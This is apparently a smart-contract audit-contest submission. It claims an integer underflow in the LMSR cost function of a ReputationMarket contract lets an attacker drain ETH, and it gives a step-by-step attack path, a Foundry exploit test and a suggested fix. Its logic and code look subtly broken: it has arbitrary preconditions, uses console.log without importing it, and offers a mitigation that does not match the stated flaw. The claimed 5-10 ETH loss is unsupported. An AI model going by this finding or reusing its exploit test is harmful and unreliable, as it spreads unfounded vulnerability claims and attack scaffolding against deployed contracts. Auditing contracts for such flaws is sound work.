Skip to content

Latest commit

 

History

History
118 lines (87 loc) · 4.02 KB

File metadata and controls

118 lines (87 loc) · 4.02 KB

Fun Crepe Lobster

High

Malicious users will extract excess funds through LMSR cost calculation underflow

Summary

Unsafe integer conversion in LMSR.getCost() will cause fund extraction vulnerability for the protocol as malicious users will manipulate large vote positions to trigger integer underflow, leading to incorrect cost calculations and excess fund withdrawals.

Root Cause

In LMSR.sol:119 the direct conversion of uint256 to int256 without bounds checking allows integer underflow when oldCost is significantly larger than newCost.

Internal Pre-conditions

  1. Market needs to have total votes to be at least 100,000 on one side
  2. Market's liquidityParameter needs to be exactly 1000
  3. Market needs to be active (not graduated)
  4. System needs to set cost difference to be greater than int256.max

External Pre-conditions

  1. User needs to have sufficient funds to create large initial position
  2. Network gas price needs to be low enough to make exploit profitable

Attack Path

  1. Attacker calls buyVotes() with isPositive=true and large position (100,000 votes)
  2. Attacker waits for transaction confirmation
  3. Attacker calls sellVotes() with almost all votes
  4. getCost() calculates cost difference with large oldCost value
  5. int256 conversion underflows due to large difference
  6. Contract uses underflowed value for fund distribution
  7. Attacker receives excess funds

Impact

The protocol suffers an approximate loss of 5-10 ETH per exploit. The attacker gains this amount through incorrect fund distribution due to the integer underflow.

PoC

pragma solidity 0.8.26;

import {ReputationMarket} from "./ReputationMarket.sol"; import {LMSR} from "./utils/LMSR.sol"; import {Test} from "forge-std/Test.sol";

contract LMSRUnderflowExploit is Test { ReputationMarket public market; address public attacker = address(0x1); uint256 public profileId = 1;

function setUp() public {
    // Deploy and setup market
    market = new ReputationMarket();
    market.initialize(
        address(this),
        address(this),
        address(0),
        address(0),
        address(this)
    );
    
    // Create market
    market.createMarket{value: 5 ether}();
    
    // Fund attacker
    vm.deal(attacker, 100 ether);
}

function testUnderflowExploit() public {
    // Step 1: Create large position
    vm.startPrank(attacker);
    market.buyVotes{value: 50 ether}(
        profileId,
        true,    // isPositive
        100000,  // maxVotesToBuy
        1        // minVotesToBuy
    );
    
    // Record balances before exploit
    uint256 initialBalance = address(market).balance;
    
    // Step 2: Trigger underflow through large sell
    market.sellVotes(
        profileId,
        true,
        99999,  // Almost all votes
        0       // No minimum price
    );
    
    // Verify excess funds withdrawn
    uint256 finalBalance = address(market).balance;
    uint256 fundsDrained = initialBalance - finalBalance;
    
    console.log("Initial balance:", initialBalance);
    console.log("Final balance:", finalBalance);
    console.log("Excess funds drained:", fundsDrained);
    
    assertTrue(fundsDrained > initialBalance / 2, 
        "Exploit should drain significant funds");
}

}

Mitigation

function getCost(...) public pure returns (int256 costDiff) { uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter);

// Ensure costs don't exceed int256 bounds
require(oldCost <= type(uint256).max >> 1 && 
        newCost <= type(uint256).max >> 1,
        "Cost exceeds safe bounds");
        
costDiff = int256(newCost) - int256(oldCost);

}